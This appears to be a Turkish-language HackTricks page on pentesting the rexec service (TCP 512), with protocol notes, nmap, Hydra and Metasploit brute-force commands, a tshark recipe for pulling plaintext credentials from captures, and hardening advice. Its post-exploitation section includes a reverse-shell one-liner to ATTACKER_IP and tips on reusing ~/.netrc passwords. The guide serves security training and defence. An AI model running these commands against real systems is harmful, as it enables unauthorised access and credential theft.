# 512 - Pentesting Rexec {{#include ../banners/hacktricks-training.md}} ## Temel Bilgiler Rexec (uzaktan **exec**) orijinal Berkeley *r*-servisleri paketinin bir parçasıdır ( `rlogin`, `rsh`, … ile birlikte). **Sadece düz metin kullanıcı adı ve şifre ile kimlik doğrulaması** yapılan bir **uzaktan komut yürütme** yeteneği sağlar. Protokol, 1980'lerin başında tanımlanmıştır (bkz. RFC 1060) ve günümüzde **tasarım gereği güvensiz** olarak kabul edilmektedir. Yine de, bazı eski UNIX / ağ bağlantılı ekipmanlarda varsayılan olarak etkinleştirilmiştir ve zaman zaman iç pentestler sırasında ortaya çıkmaktadır. **Varsayılan Port:** TCP 512 (`exec`) ``` PORT STATE SERVICE 512/tcp open exec ``` > 🔥 Tüm trafik – kimlik bilgileri de dahil – **şifrelenmemiş** olarak iletilir. Ağa göz atma yeteneğine sahip olan herkes kullanıcı adını, şifreyi ve komutu geri alabilir. ### Protokol hızlı bakış 1. İstemci TCP 512'ye bağlanır. 2. İstemci üç **NUL-terminatör** dizesi gönderir: * stdout/stderr almak istediği port numarası (ASCII olarak) (genellikle `0`), * **kullanıcı adı**, * **şifre**. 3. İcra edilecek **komut** ile son bir NUL-terminatör dizesi gönderilir. 4. Sunucu, tek bir 8-bit durum baytı (0 = başarı, `1` = başarısızlık) ve ardından komut çıktısı ile yanıt verir. Bu, `echo -e` ve `nc` ile değişimi yeniden oluşturabileceğiniz anlamına gelir: ```bash (echo -ne "0\0user\0password\0id\0"; cat) | nc 512 ``` Eğer kimlik bilgileri geçerliyse, `id` komutunun çıktısını aynı bağlantı üzerinden doğrudan alacaksınız. ### İstemci ile manuel kullanım Birçok Linux dağıtımı hala **inetutils-rexec** / **rsh-client** paketinin içinde eski istemciyi sunmaktadır: ```bash rexec -l user -p password "uname -a" ``` Eğer `-p` atlanırsa, istemci şifreyi etkileşimli olarak istemek için bir istemde bulunacaktır (açık metin olarak ağda görünür!). --- ## Sayım & Kaba kuvvet ### [**Kaba kuvvet**](../generic-hacking/brute-force.md#rexec) ### Nmap ```bash nmap -p 512 --script rexec-info # Discover service banner and test for stdout port mis-configuration nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" ``` `rexec-brute` NSE, yukarıda açıklanan protokolü kullanarak kimlik bilgilerini çok hızlı bir şekilde denemektedir. ### Hydra / Medusa / Ncrack ```bash hydra -L users.txt -P passwords.txt rexec:// -s 512 -t 8 ``` `hydra` özel bir **rexec** modülüne sahiptir ve en hızlı çevrimdışı bruteforcer olarak kalır. `medusa` (`-M REXEC`) ve `ncrack` (`rexec` modülü) aynı şekilde kullanılabilir. ### Metasploit ``` use auxiliary/scanner/rservices/rexec_login set RHOSTS set USER_FILE users.txt set PASS_FILE passwords.txt run ``` Modül başarılı olduğunda bir shell oluşturacak ve kimlik bilgilerini veritabanında saklayacaktır. --- ## Kimlik bilgilerini dinleme Her şey düz metin olduğu için, **ağ yakalamaları paha biçilmezdir**. Trafiğin bir kopyasıyla hedefe dokunmadan kimlik bilgilerini çıkarabilirsiniz: ```bash tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \ awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command ``` (In Wireshark *Decode As …​* TCP 512 → REXEC'i etkinleştirerek güzel bir şekilde ayrıştırılmış alanları görüntüleyin.) --- ## Post-Exploitation ipuçları * Komutlar sağlanan kullanıcının ayrıcalıklarıyla çalıştırılır. Eğer `/etc/pam.d/rexec` yanlış yapılandırılmışsa (örneğin `pam_rootok`), root shell'leri bazen mümkün olabilir. * Rexec, kullanıcının shell'ini göz ardı eder ve komutu `/bin/sh -c ` aracılığıyla çalıştırır. Bu nedenle, birden fazla komutu zincirlemek veya ters shell'ler başlatmak için tipik shell-escape hilelerini (`;`, ``$( )``, backticks) kullanabilirsiniz: ```bash rexec -l user -p pass 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' ``` * Parolalar genellikle diğer sistemlerde **~/.netrc** içinde saklanır; eğer bir host'u ele geçirirseniz, bunları yan hareket için yeniden kullanabilirsiniz. --- ## Güçlendirme / Tespit * **rexec'i açığa çıkarmayın**; onu SSH ile değiştirin. Neredeyse tüm modern *inetd* süper sunucuları, hizmeti varsayılan olarak yorum satırına alır. * Eğer onu tutmanız gerekiyorsa, TCP wrapper'lar (`/etc/hosts.allow`) veya güvenlik duvarı kuralları ile erişimi kısıtlayın ve her hesap için güçlü parolalar zorunlu kılın. * :512'ye giden trafiği ve `rexecd` süreç başlatmalarını izleyin. Tek bir paket yakalama, bir ihlali tespit etmek için yeterlidir. * `rexec`, `rlogin`, `rsh`'yi birlikte devre dışı bırakın – bunlar çoğu aynı kod tabanını ve zayıflıkları paylaşır. --- ## Referanslar * Nmap NSE `rexec-brute` belgeleri – [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html) * Rapid7 Metasploit modülü `auxiliary/scanner/rservices/rexec_login` – [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login) {{#include ../banners/hacktricks-training.md}}